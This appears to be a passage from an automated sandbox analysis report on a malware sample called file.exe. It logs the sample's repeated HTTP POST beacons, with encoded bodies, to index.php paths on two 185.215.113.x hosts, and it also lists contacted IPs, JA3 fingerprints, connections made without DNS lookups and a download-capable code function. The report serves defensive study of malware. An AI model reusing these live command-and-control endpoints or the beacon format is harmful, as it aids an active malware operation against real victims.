Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 23.200.0.42 23.200.0.42
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31

Source: Joe Sandbox View

ASN Name: GES-ASRU GES-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49717 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.6:49717 -> 173.222.162.64:443 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_GB.N1bNysriJnk.es5.O/am=BB0MYXQbgUA8nAM9QCkQMgAAAAAAAAAAaAMAAJgB/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlEjXkpY1miL806lUCCtQlrHu-H96g/m=_b,_tp HTTP/1.1Host: www.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.150"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
